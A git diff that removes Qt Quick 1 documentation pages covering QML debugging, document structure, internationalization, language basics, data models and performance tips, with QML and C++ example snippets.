-\inqmlmodule QtQuick 1 -\title Debugging QML - -\section1 Logging - -\c console.log can be used to print debugging information to the console. For example: - -\qml -Rectangle { - width: 200; height: 200 - MouseArea { - anchors.fill: parent - onClicked: console.log("clicked") - } -} -\endqml - -\section1 Debugging Transitions - -When a transition doesn't look quite right, it can be helpful to view it in slow -motion to see what is happening more clearly. This functionality is supported -in the \l {QML Viewer} tool: to enable this, -click on the "Debugging" menu, then "Slow Down Animations". - - -\section1 Debugging module imports - -The \c QML_IMPORT_TRACE environment variable can be set to enable debug output -from QML's import loading mechanisms. - -For example, for a simple QML file like this: - -\qml -import QtQuick 1.0 - -Rectangle { width: 100; height: 100 } -\endqml - -If you set \c {QML_IMPORT_TRACE=1} before running the \l {QML Viewer} -(or your QML C++ application), you will see output similar to this: - -\code -QDeclarativeImportDatabase::addImportPath "/qt-sdk/imports" -QDeclarativeImportDatabase::addImportPath "/qt-sdk/bin/QMLViewer.app/Contents/MacOS" -QDeclarativeImportDatabase::addToImport 0x106237370 "." -1.-1 File as "" -QDeclarativeImportDatabase::addToImport 0x106237370 "Qt" 4.7 Library as "" -QDeclarativeImportDatabase::resolveType "Rectangle" = "QDeclarativeRectangle" -\endcode - - -\section1 Debugging with Qt Creator - -\l{http://qt.nokia.com/products/developer-tools}{Qt Creator} provides built-in -support for QML debugging. QML projects and standalone C++ applications that -utilize QML can be debugged on desktops as well as on remote devices. -For more information, see the Qt Creator Manual. - -*/ diff --git a/doc/src/qtquick1/qdeclarativedocument.qdoc b/doc/src/qtquick1/qdeclarativedocument.qdoc deleted file mode 100644 index 76c54fb74c..0000000000 --- a/doc/src/qtquick1/qdeclarativedocument.qdoc +++ /dev/null @@ -1,144 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativedocuments.html -\inqmlmodule QtQuick 1 -\title QML Documents -\brief A description of QML documents and the kind of content they contain. - -A QML document is a block of QML source code. QML documents generally correspond to files -stored on a disk or at a location on a network, but they can also be constructed directly -from text data. - -Here is a simple QML document: - -\snippet doc/src/snippets/declarative/qml-documents/non-trivial.qml document - -QML documents are always encoded in UTF-8 format. - -A QML document always begins with one or more import statements. To prevent elements -introduced in later versions from affecting existing QML programs, the element types -available within a document are controlled by the imported QML \l {Modules}. That is, -QML is a \e versioned language. - -Syntactically a QML document is self contained; QML does \e not have a preprocessor that -modifies the document prior to presentation to the QML runtime. \c import statements -do not "include" code in the document, but instead instruct the QML runtime on how to -resolve type references found in the document. Any type reference present in a QML -document - such as \c Rectangle and \c ListView - including those made within an -\l {Inline JavaScript}{JavaScript block} or \l {Property Binding}s, are \e resolved based exclusively on the -import statements. QML does not import any modules by default, so at least one \c import -statement must be present or no elements will be available! - -Each \c id value in a QML document must be unique within that document. They -do not need to be unique across different documents as id values are -resolved according to the document scope. - - -\section1 Documents as Component Definitions - -A QML document defines a single, top-level \l {QDeclarativeComponent}{QML component}. A QML component -is a template that is interpreted by the QML runtime to create an object with some predefined -behaviour. As it is a template, a single QML component can be "run" multiple times to -produce several objects, each of which are said to be \e instances of the component. - -Once created, instances are not dependent on the component that created them, so they can -operate on independent data. Here is an example of a simple "Button" component (defined -in a \c Button.qml file) that is instantiated four times by \c application.qml. -Each instance is created with a different value for its \c text property: - -\table -\row -\o Button.qml -\o application.qml - -\row -\o \snippet doc/src/snippets/declarative/qml-documents/qmldocuments.qml document -\o -\qml -import QtQuick 1.0 - -Column { - spacing: 10 - - Button { text: "Apple" } - Button { text: "Orange" } - Button { text: "Pear" } - Button { text: "Grape" } -} -\endqml - -\image anatomy-component.png - -\endtable - -Any snippet of QML code can become a component, just by placing it in the file ".qml" -where is the new element name, and begins with an \bold uppercase letter. Note that -the case of all characters in the are significant on some filesystems, notably -UNIX filesystems. It is recommended that the case of the filename matches the case of -the component name in QML exactly, regardless of the platform the QML will be deployed to. - -These QML component files automatically become available as new QML element types -to other QML components and applications in the same directory. - - - -\section1 Inline Components - -In addition to the top-level component that all QML documents define, and any reusable -components placed in separate files, documents may also -include \e inline components. Inline components are declared using the -\l Component element, as can be seen in the first example above. Inline components share -all the characteristics of regular top-level components and use the same \c import list as their -containing QML document. Components are one of the most basic building blocks in QML, and are -frequently used as "factories" by other elements. For example, the \l ListView element uses the -\c delegate component as the template for instantiating list items - each list item is just a -new instance of the component with the item specific data set appropriately. - -Like other \l {QML Elements}, the \l Component element is an object and must be assigned to a -property. \l Component objects may also have an object id. In the first example on this page, -the inline component is added to the \l Rectangle's \c resources list, and then -\l {Property Binding} is used to assign the \l Component to the \l ListView's \c delegate -property. While using property binding allows the \l Component object to be shared (for example, -if the QML document contained multiple \l ListView's with the same delegate), in this case the -\l Component could have been assigned directly to the \l ListView's \c delegate. The QML -language even contains a syntactic optimization when assigning directly to a component property -for this case where it will automatically insert the \l Component tag. - -These final two examples are behaviorally identical to the original document. - -\table -\row -\o -\snippet doc/src/snippets/declarative/qml-documents/inline-component.qml document -\o -\snippet doc/src/snippets/declarative/qml-documents/inline-text-component.qml document -\endtable - -\sa QDeclarativeComponent -*/ diff --git a/doc/src/qtquick1/qdeclarativei18n.qdoc b/doc/src/qtquick1/qdeclarativei18n.qdoc deleted file mode 100644 index 2a4fc2f459..0000000000 --- a/doc/src/qtquick1/qdeclarativei18n.qdoc +++ /dev/null @@ -1,88 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativei18n.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\contentspage QML Features -\previouspage {Network Transparency}{Loading Resources in QML} -\nextpage {QML Features} -\title Qt Quick 1 Internationalization - - -Strings in QML can be marked for translation using the qsTr(), qsTranslate(), -QT_TR_NOOP(), and QT_TRANSLATE_NOOP() functions. - -For example: -\qml -Text { text: qsTr("Pictures") } -\endqml - -These functions are standard QtScript functions; for more details see -QScriptEngine::installTranslatorFunctions(). - -QML relies on the core internationalization capabilities provided by Qt. These -capabilities are described more fully in: -\list -\o \l {Internationalization with Qt} -\o \l {Qt Linguist Manual} -\endlist - -You can test a translation with the \l {QML Viewer} using the -translation option. - -\section1 Example - -First we create a simple QML file with text to be translated. The string -that needs to be translated is enclosed in a call to \c qsTr(). - -hello.qml: -\qml -import QtQuick 1.0 - -Rectangle { - width: 200; height: 200 - Text { text: qsTr("Hello"); anchors.centerIn: parent } -} -\endqml - -Next we create a translation source file using lupdate: -\code -lupdate hello.qml -ts hello.ts -\endcode - -Then we open \c hello.ts in \l{Qt Linguist Manual} {Linguist}, provide -a translation and create the release file \c hello.qm. - -Finally, we can test the translation: -\code -qmlviewer -translation hello.qm hello.qml -\endcode - - -You can see a complete example and source code in the \l{declarative/i18n}{QML Internationalization example}. -*/ diff --git a/doc/src/qtquick1/qdeclarativeintro.qdoc b/doc/src/qtquick1/qdeclarativeintro.qdoc deleted file mode 100644 index b7a1d1d133..0000000000 --- a/doc/src/qtquick1/qdeclarativeintro.qdoc +++ /dev/null @@ -1,405 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativeintroduction.html -\inqmlmodule QtQuick 1 -\title Introduction to the QML Language - -\tableofcontents - -QML is a declarative language designed to describe the user interface of a -program: both what it looks like, and how it behaves. In QML, a user -interface is specified as a tree of objects with properties. - -This introduction is meant for those with little or no programming -experience. JavaScript is used as a scripting language in QML, so you may want -to learn a bit more about it (see the \l{Javascript Guide}) before diving -deeper into QML. It's also helpful to have a basic understanding of other web -technologies like HTML and CSS, but it's not required. - -\section1 Basic QML Syntax - -QML looks like this: - -\qml -import QtQuick 1.0 - -Rectangle { - width: 200 - height: 200 - color: "blue" - - Image { - source: "pics/logo.png" - anchors.centerIn: parent - } -} -\endqml - -Here we create two objects, a \l Rectangle object and its child -\l Image object. Objects are specified by their type, followed by a pair of -braces in between which additional data can be defined for the object, such as -its property values and any child objects. - -Properties are specified with a \c {property: value} syntax. In the above example, we -can see the \l Image object has a property named \c source, which has been assigned the -value \c "pics/logo.png". The property and its value are separated by a colon. - -Properties can be specified one-per-line: - -\qml -Rectangle { - width: 100 - height: 100 -} -\endqml - -or you can put multiple properties on a single line: - -\qml -Rectangle { width: 100; height: 100 } -\endqml - -When multiple property/value pairs are specified on a single line, they -must be separated by a semicolon. - -The \c import statement imports the \c QtQuick \l{QML Modules}{module}, which contains all of the -standard \l {QML Elements}. Without this import statement, the \l Rectangle -and \l Image elements would not be available. - - -\section1 Comments - -Commenting in QML is similar to JavaScript. -\list -\o Single line comments start with // and finish at the end of the line. -\o Multiline comments start with /* and finish with *\/ -\endlist - -\snippet doc/src/snippets/declarative/comments.qml 0 - -Comments are ignored by the engine. They are useful for explaining what you -are doing; for referring back to at a later date, or for others reading -your QML files. - -Comments can also be used to prevent the execution of code, which is -sometimes useful for tracking down problems. - -\qml -Text { - text: "Hello world!" - //opacity: 0.5 -} -\endqml - -In the above example, the \l Text object will have normal opacity, since the -line opacity: 0.5 has been turned into a comment. - - - -\section1 Object Identifiers - -Each object can be given a special \e id value that allows the object to be identified -and referred to by other objects. - -For example, below we have two \l Text objects. The first \l Text object -has an \c id value of "text1". The second \l Text object can now set its own -\c text property value to be the same as that of the first object, by referring to -\c text1.text: - -\qml -import QtQuick 1.0 - -Row { - Text { - id: text1 - text: "Hello World" - } - - Text { text: text1.text } -} -\endqml - -An object can be referred to by its \c id from anywhere within the \l {QML Documents}{component} -in which it is declared. Therefore, an \c id value must always be unique within a single component. - -The \c id value is a special value for a QML object and should not be thought of as an -ordinary object property; for example, it is not possible to access \c text1.id in the -above example. Once an object is created, its \c id cannot be changed. - -Note that an \c id must begin with a lower-case letter or an underscore, and cannot contain -characters other than letters, numbers and underscores. - - - -\section1 Expressions - -JavaScript expressions can be used to assign property values. For example: - -\qml -Item { - width: 100 * 3 - height: 50 + 22 -} -\endqml - -These expressions can include references to other objects and properties, in which case -a \l{Property Binding}{binding} is established: when the value of the expression changes, -the property to which the expression is assigned is automatically updated to the -new value. For example: - -\qml -Item { - width: 300 - height: 300 - - Rectangle { - width: parent.width - 50 - height: 100 - color: "yellow" - } -} -\endqml - -Here, the \l Rectangle object's \c width property is set relative to the width -of its parent. Whenever the parent's width changes, the width of the \l Rectangle is -automatically updated. - - - -\section1 Properties -\target intro-properties - -\section2 Basic Property Types - -QML supports properties of many types (see \l{QML Basic Types}). The basic types include \c int, -\c real, \c bool, \c string and \c color. - -\qml -Item { - x: 10.5 // a 'real' property - state: "details" // a 'string' property - focus: true // a 'bool' property - // ... -} -\endqml - -QML properties are what is known as \e type-safe. That is, they only allow you to assign a value that -matches the property type. For example, the \c x property of item is a real, and if you try to assign -a string to it you will get an error. - -\badcode -Item { - x: "hello" // illegal! -} -\endcode - -Note that with the exception of \l {Attached Properties}, properties always begin with a lowercase -letter. - - -\section2 Property Change Notifications - -When a property changes value, it can send a signal to notify others of this change. - -To receive these signals, simply create a \e {signal handler} named with an \c onChanged -syntax. For example, the \l Rectangle element has \l {Item::}{width} and \l {Rectangle::}{color} -properties. Below, we have a \l Rectangle object that has defined two signal handlers, -\c onWidthChanged and \c onColorChanged, which will automaticallly be called whenever these -properties are modified: - -\qml -Rectangle { - width: 100; height: 100 - - onWidthChanged: console.log("Width has changed to: " + width) - onColorChanged: console.log("Color has changed to: " + color) -} -\endqml - -Signal handlers are explained further \l {Signal Handlers}{below}. - - -\section2 List properties - -List properties look like this: - -\qml -Item { - children: [ - Image {}, - Text {} - ] -} -\endqml - -The list is enclosed in square brackets, with a comma separating the -list elements. In cases where you are only assigning a single item to a -list, you can omit the square brackets: - -\qml -Image { - children: Rectangle {} -} -\endqml - -Items in the list can be accessed by index. See the \l{list}{list type} documentation -for more details about list properties and their available operations. - - -\section2 Default Properties - -Each object type can specify one of its list or object properties as its default property. -If a property has been declared as the default property, the property tag can be omitted. - -For example this code: -\qml -State { - changes: [ - PropertyChanges {}, - PropertyChanges {} - ] -} -\endqml - -can be simplified to: - -\qml -State { - PropertyChanges {} - PropertyChanges {} -} -\endqml - -because \c changes is the default property of the \c State type. - -\section2 Grouped Properties -\target dot properties - -In some cases properties form a logical group and use a 'dot' or grouped notation -to show this. - -Grouped properties can be written like this: -\qml -Text { - font.pixelSize: 12 - font.bold: true -} -\endqml - -or like this: -\qml -Text { - font { pixelSize: 12; bold: true } -} -\endqml - -In the element documentation grouped properties are shown using the 'dot' notation. - -While you can bind the entire group at once, like below, note that setting any of the -grouped properties will result in setting the group and thus invalidate the binding. -\qml -Text { - font: otherText.font -} -\endqml - -\section2 Attached Properties -\target attached-properties - -Some objects attach properties to another object. Attached Properties -are of the form \e {Type.property} where \e Type is the type of the -element that attaches \e property. - -For example, the \l ListView element attaches the \e ListView.isCurrentItem property -to each delegate it creates: - -\qml -Component { - id: myDelegate - Text { - text: "Hello" - color: ListView.isCurrentItem ? "red" : "blue" - } -} -\endqml - -\qml -ListView { - delegate: myDelegate -} -\endqml - -Another example of attached properties is the \l Keys element which -attaches properties for handling key presses to -any visual Item, for example: - -\qml -Item { - focus: true - Keys.onSelectPressed: console.log("Selected") -} -\endqml - -\section1 Signal Handlers - -Signal handlers allow JavaScript code to be executed in response to an event. For -example, the \l MouseArea element has an \l {MouseArea::}{onClicked} handler that can -be used to respond to a mouse click. Below, we use this handler to print a -message whenever the mouse is clicked: - -\qml -Item { - width: 100; height: 100 - - MouseArea { - anchors.fill: parent - onClicked: { - console.log("mouse button clicked") - } - } -} -\endqml - -All signal handlers begin with \e "on". - -Some signal handlers include an optional parameter. For example -the MouseArea \l{MouseArea::}{onPressed} signal handler has a \c mouse parameter -that contains information about the mouse press. This parameter can be referred to in -the JavaScript code, as below: - -\qml -MouseArea { - acceptedButtons: Qt.LeftButton | Qt.RightButton - onPressed: { - if (mouse.button == Qt.RightButton) - console.log("Right mouse button pressed") - } -} -\endqml -*/ diff --git a/doc/src/qtquick1/qdeclarativemodels.qdoc b/doc/src/qtquick1/qdeclarativemodels.qdoc deleted file mode 100644 index ea676ff537..0000000000 --- a/doc/src/qtquick1/qdeclarativemodels.qdoc +++ /dev/null @@ -1,507 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativemodels.html -\inqmlmodule QtQuick 1 -\ingroup qml-features -\contentspage QML Features -\previouspage {QML Animation and Transitions}{Animation and Transitions} -\nextpage {Presenting Data with Views} -\target qmlmodels -\title QML Data Models - -QML items such as ListView, GridView and \l Repeater require Data Models -that provide the data to be displayed. -These items typically require a \e delegate component that -creates an instance for each item in the model. Models may be static, or -have items modified, inserted, removed or moved dynamically. - -Data is provided to the delegate via named data roles which the -delegate may bind to. Here is a ListModel with two roles, \e type and \e age, -and a ListView with a delegate that binds to these roles to display their -values: - -\snippet doc/src/snippets/declarative/qml-data-models/listmodel-listview.qml document - -If there is a naming clash between the model's properties and the delegate's -properties, the roles can be accessed with the qualified \e model name instead. -For example, if a \l Text element had \e type or \e age properties, the text in the -above example would display those property values instead of the \e type and \e age values -from the model item. In this case, the properties could have been referenced as -\c model.type and \c model.age instead to ensure the delegate displays the -property values from the model item. - -A special \e index role containing the index of the item in the model -is also available to the delegate. Note this index is set to -1 if the item is removed from -the model. If you bind to the index role, be sure that the logic -accounts for the possibility of index being -1, i.e. that the item -is no longer valid. (Usually the item will shortly be destroyed, but -it is possible to delay delegate destruction in some views via a \c delayRemove -attached property.) - -Models that do not have named roles (such as the QStringList model shown below) -will have the data provided via the \e modelData role. The \e modelData role is also provided for -models that have only one role. In this case the \e modelData role -contains the same data as the named role. - -QML provides several types of data models among the built-in set of -QML elements. In addition, models can be created with C++ and then -made available to QML components. - -The views used to access data models are described in the -\l{Presenting Data with Views} overview. -The use of positioner items to arrange items from a model is covered in -\l{Using QML Positioner and Repeater Items}. - - -\keyword qml-data-models -\section1 QML Data Models - -\section2 ListModel - -ListModel is a simple hierarchy of elements specified in QML. The -available roles are specified by the \l ListElement properties. - -\snippet doc/src/snippets/declarative/qml-data-models/listelements.qml model - -The above model has two roles, \e name and \e cost. These can be bound -to by a ListView delegate, for example: - -\snippet doc/src/snippets/declarative/qml-data-models/listelements.qml view - -ListModel provides methods to manipulate the ListModel directly via JavaScript. -In this case, the first item inserted determines the roles available -to any views that are using the model. For example, if an empty ListModel is -created and populated via JavaScript, the roles provided by the first -insertion are the only roles that will be shown in the view: - -\snippet doc/src/snippets/declarative/qml-data-models/dynamic-listmodel.qml model -\dots -\snippet doc/src/snippets/declarative/qml-data-models/dynamic-listmodel.qml mouse area - -When the MouseArea is clicked, \c fruitModel will have two roles, \e cost and \e name. -Even if subsequent roles are added, only the first two will be handled by views -using the model. To reset the roles available in the model, call ListModel::clear(). - - -\section2 XmlListModel - -XmlListModel allows construction of a model from an XML data source. The roles -are specified via the \l XmlRole element. - -The following model has three roles, \e title, \e link and \e description: -\qml -XmlListModel { - id: feedModel - source: "http://rss.news.yahoo.com/rss/oceania" - query: "/rss/channel/item" - XmlRole { name: "title"; query: "title/string()" } - XmlRole { name: "link"; query: "link/string()" } - XmlRole { name: "description"; query: "description/string()" } -} -\endqml - -The \l{declarative/rssnews}{RSS News demo} shows how XmlListModel can -be used to display an RSS feed. - - -\section2 VisualItemModel - -VisualItemModel allows QML items to be provided as a model. - -This model contains both the data and delegate; the child items of a -VisualItemModel provide the contents of the delegate. The model -does not provide any roles. - -\snippet doc/src/snippets/declarative/models/visual-model-and-view.qml visual model and view - -Note that in the above example there is no delegate required. -The items of the model itself provide the visual elements that -will be positioned by the view. - -\keyword qml-c++-models -\section1 C++ Data Models - -Models can be defined in C++ and then made available to QML. This is useful -for exposing existing C++ data models or otherwise complex datasets to QML. - -A C++ model class can be defined as a QStringList, a QList or a -QAbstractItemModel. The first two are useful for exposing simpler datasets, -while QAbstractItemModel provides a more flexible solution for more complex -models. - - -\section2 QStringList-based model - -A model may be a simple QStringList, which provides the contents of the list via the \e modelData role. - -Here is a ListView with a delegate that references its model item's -value using the \c modelData role: - -\snippet examples/declarative/modelviews/stringlistmodel/view.qml 0 - -A Qt application can load this QML document and set the value of \c myModel -to a QStringList: - -\snippet examples/declarative/modelviews/stringlistmodel/main.cpp 0 - -The complete example is available in Qt's \l {declarative/modelviews/stringlistmodel}{examples/declarative/modelviews/stringlistmodel} directory. - -\note There is no way for the view to know that the contents of a QStringList -have changed. If the QStringList changes, it will be necessary to reset -the model by calling QDeclarativeContext::setContextProperty() again. - - -\section2 QObjectList-based model - -A list of QObject* values can also be used as a model. A QList provides -the properties of the objects in the list as roles. - -The following application creates a \c DataObject class that with -Q_PROPERTY values that will be accessible as named roles when a -QList is exposed to QML: - -\snippet examples/declarative/modelviews/objectlistmodel/dataobject.h 0 -\dots 4 -\snippet examples/declarative/modelviews/objectlistmodel/dataobject.h 1 -\codeline -\snippet examples/declarative/modelviews/objectlistmodel/main.cpp 0 -\dots - -The QObject* is available as the \c modelData property. As a convenience, -the properties of the object are also made available directly in the -delegate's context. Here, \c view.qml references the \c DataModel properties in -the ListView delegate: - -\snippet examples/declarative/modelviews/objectlistmodel/view.qml 0 - -Note the use of the fully qualified access to the \c color property. -The properties of the object are not replicated in the \c model -object, since they are easily available via the \c modelData -object. - -The complete example is available in Qt's \l {declarative/modelviews/objectlistmodel}{examples/declarative/modelviews/objectlistmodel} directory. - -Note: There is no way for the view to know that the contents of a QList -have changed. If the QList changes, it will be necessary to reset -the model by calling QDeclarativeContext::setContextProperty() again. - - -\section2 QAbstractItemModel - -A model can be defined by subclassing QAbstractItemModel. This is the -best approach if you have a more complex model that cannot be supported -by the other approaches. A QAbstractItemModel can also automatically -notify a QML view when the model data has changed. - -The roles of a QAbstractItemModel subclass can be exposed to QML by calling -QAbstractItemModel::setRoleNames(). The default role names set by Qt are: - -\table -\header -\o Qt Role -\o QML Role Name -\row -\o Qt::DisplayRole -\o display -\row -\o Qt::DecorationRole -\o decoration -\endtable - -Here is an application with a QAbstractListModel subclass named \c AnimalModel -that has \e type and \e size roles. It calls QAbstractItemModel::setRoleNames() to set the -role names for accessing the properties via QML: - -\snippet examples/declarative/modelviews/abstractitemmodel/model.h 0 -\dots -\snippet examples/declarative/modelviews/abstractitemmodel/model.h 1 -\dots -\snippet examples/declarative/modelviews/abstractitemmodel/model.h 2 -\codeline -\snippet examples/declarative/modelviews/abstractitemmodel/model.cpp 0 -\codeline -\snippet examples/declarative/modelviews/abstractitemmodel/main.cpp 0 -\dots - -This model is displayed by a ListView delegate that accesses the \e type and \e size -roles: - -\snippet examples/declarative/modelviews/abstractitemmodel/view.qml 0 - -QML views are automatically updated when the model changes. Remember the model -must follow the standard rules for model changes and notify the view when -the model has changed by using QAbstractItemModel::dataChanged(), -QAbstractItemModel::beginInsertRows(), etc. See the \l {Model subclassing reference} for -more information. - -The complete example is available in Qt's \l {declarative/modelviews/abstractitemmodel}{examples/declarative/modelviews/abstractitemmodel} directory. - -QAbstractItemModel presents a hierarchy of tables, but the views currently provided by QML -can only display list data. -In order to display child lists of a hierarchical model -the VisualDataModel element provides several properties and functions for use -with models of type QAbstractItemModel: - -\list -\o \e hasModelChildren role property to determine whether a node has child nodes. -\o \l VisualDataModel::rootIndex allows the root node to be specifed -\o \l VisualDataModel::modelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex -\o \l VisualDataModel::parentModelIndex() returns a QModelIndex which can be assigned to VisualDataModel::rootIndex -\endlist - - -\section2 Exposing C++ Data Models to QML - -The above examples use QDeclarativeContext::setContextProperty() to set -model values directly in QML components. An alternative to this is to -register the C++ model class as a QML type from a QML C++ plugin using -QDeclarativeExtensionPlugin. This would allow the model classes to be -created directly as elements within QML: - -\table -\row - -\o -\code -class MyModelPlugin : public QDeclarativeExtensionPlugin -{ -public: - void registerTypes(const char *uri) - { - qmlRegisterType(uri, 1, 0, - "MyModel"); - } -} - -Q_EXPORT_PLUGIN2(mymodelplugin, MyModelPlugin); -\endcode - -\o -\qml -MyModel { - id: myModel - ListElement { someProperty: "some value" } -} -\endqml - -\qml -ListView { - width: 200; height: 250 - model: myModel - delegate: Text { text: someProperty } -} -\endqml - -\endtable - -See \l {Tutorial: Writing QML extensions with C++} for details on writing QML C++ -plugins. - - - -\section1 Other Data Models - - -\section2 An Integer - -An integer can be used to specify a model that contains a certain number -of elements. In this case, the model does not have any data roles. - -The following example creates a ListView with five elements: -\qml -Item { - width: 200; height: 250 - - Component { - id: itemDelegate - Text { text: "I am item number: " + index } - } - - ListView { - anchors.fill: parent - model: 5 - delegate: itemDelegate - } - -} -\endqml - - -\section2 An Object Instance - -An object instance can be used to specify a model with a single object element. The -properties of the object are provided as roles. - -The example below creates a list with one item, showing the color of the -\e myText text. Note the use of the fully qualified \e model.color property -to avoid clashing with \e color property of the Text element in the delegate. - -\qml -Rectangle { - width: 200; height: 250 - - Text { - id: myText - text: "Hello" - color: "#dd44ee" - } - - Component { - id: myDelegate - Text { text: model.color } - } - - ListView { - anchors.fill: parent - anchors.topMargin: 30 - model: myText - delegate: myDelegate - } -} -\endqml - -\section1 Accessing Views and Models from Delegates - -You can access the view for which a delegate is used, and its -properties, by using ListView.view in a delegate on a ListView, or -GridView.view in a delegate on a GridView, etc. In particular, you can -access the model and its properties by using ListView.view.model. - -This is useful when you want to use the same delegate for a number of -views, for example, but you want decorations or other features to be -different for each view, and you would like these different settings to -be properties of each of the views. Similarly, it might be of interest -to access or show some properties of the model. - -In the following example, the delegate shows the property \e{language} -of the model, and the color of one of the fields depends on the -property \e{fruit_color} of the view. - -\snippet doc/src/snippets/declarative/models/views-models-delegates.qml rectangle - -Another important case is when some action (e.g. mouse click) in the -delegate should update data in the model. In this case you can define -a function in the model, e.g.: - -\code - setData(int row, const QString & field_name, QVariant new_value), -\endcode - -...and call it from the delegate using: - -\js - ListView.view.model.setData(index, field, value) -\endjs - -...assuming that \e{field} holds the name of the field which should be -updated, and that \e{value} holds the new value. - -*/ - -/*! -\page qml-presenting-data.html -\inqmlmodule QtQuick 1 -\title Presenting Data with QML - -\section1 Introduction - -Qt Quick contains a set of standard items that can be used to present data in a -number of different ways. For simple user interfaces, -\l{Using QML Positioner and Repeater Items#Repeaters}{Repeaters} can be used -in combination with -\l{Using QML Positioner and Repeater Items#Positioners}{Positioners} -to obtain pieces of data and arrange them in a user interface. However, when -large quantities of data are involved, it is often better to use models with -the standard views since these contain many built-in display and navigation -features. - -\section1 Views - -Views are scrolling containers for collections of items. They are feature-rich, -supporting many of the use cases found in typical applications, and can be -customized to meet requirements on style and behavior. - -A set of standard views are provided in the basic set of Qt Quick -graphical elements: - -\list -\o \l{#ListView}{ListView} arranges items in a horizontal or vertical list -\o \l{#GridView}{GridView} arranges items in a grid within the available space -\o \l{#PathView}{PathView} arranges items on a path -\endlist - -Unlike these items, \l WebView is not a fully-featured view item, and needs -to be combined with a \l Flickable item to create a view that performs like -a Web browser. - -\section2 ListView - -\l ListView shows a classic list of items with horizontal or vertical placing -of items. - -\beginfloatright -\inlineimage qml-listview-snippet.png -\endfloat - -The following example shows a minimal ListView displaying a sequence of -numbers (using an \l{QML Data Models#An Integer}{integer as a model}). -A simple delegate is used to define an items for each piece of data in the -model. - -\clearfloat -\snippet doc/src/snippets/declarative/listview/listview-snippet.qml document - - - -\section2 GridView - -\l GridView displays items in a grid like an file manager's icon view. - -\section2 PathView - -\l PathView displays items on a path, where the selection remains in -the same place and the items move around it. - -\section1 Decorating Views - -\section2 Headers and Footers - -\section2 Sections - -\section2 Navigation - -In traditional user interfaces, views can be scrolled using standard -controls, such as scroll bars and arrow buttons. In some situations, it -is also possible to drag the view directly by pressing and holding a -mouse button while moving the cursor. In touch-based user interfaces, -this dragging action is often complemented with a flicking action, where -scrolling continues after the user has stopped touching the view. - -\section1 Further Reading -*/ diff --git a/doc/src/qtquick1/qdeclarativeperformance.qdoc b/doc/src/qtquick1/qdeclarativeperformance.qdoc deleted file mode 100644 index 2123d9ea95..0000000000 --- a/doc/src/qtquick1/qdeclarativeperformance.qdoc +++ /dev/null @@ -1,151 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the documentation of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:FDL$ -** GNU Free Documentation License -** Alternatively, this file may be used under the terms of the GNU Free -** Documentation License version 1.3 as published by the Free Software -** Foundation and appearing in the file included in the packaging of -** this file. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms -** and conditions contained in a signed written agreement between you -** and Nokia. -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -/*! -\page qdeclarativeperformance.html -\inqmlmodule QtQuick 1 -\title QML Performance - Qt Quick 1 - -\section1 Opaque Items - -Items hidden behind an opaque item incur a cost. If an item will be enitrely -obscured by an opaque item, set its opacity to 0. One common example of -this is when a "details" page is shown over the main application view. - -\section1 Clipping - -\e clip is set to false by default. Enable clipping only when necessary. - -\section1 Anchors vs. Binding - -It is more efficient to use anchors rather than bindings to position items -relative to each other. Consider this use of bindings to position rect2 -relative to rect1: - -\code -Rectangle { - id: rect1 - x: 20 - width: 200; height: 200 -} -Rectangle { - id: rect2 - x: rect1.x - y: rect1.y + rect1.height - width: rect1.width - 20 - height: 200 -} -\endcode - -This is achieved more efficiently using anchors: - -\code -Rectangle { - id: rect1 - x: 20 - width: 200; height: 200 -} -Rectangle { - id: rect2 - height: 200 - anchors.left: rect1.left - anchors.top: rect1.bottom - anchors.right: rect1.right - anchors.rightMargin: 20 -} -\endcode - -\section1 Images - -Images consume a great deal of memory and may also be costly to load. In order -to deal with large images efficiently it is recommended that the Image::sourceSize -property be set to a size no greater than that necessary to render it. Beware that -changing the sourceSize will cause the image to be reloaded. - 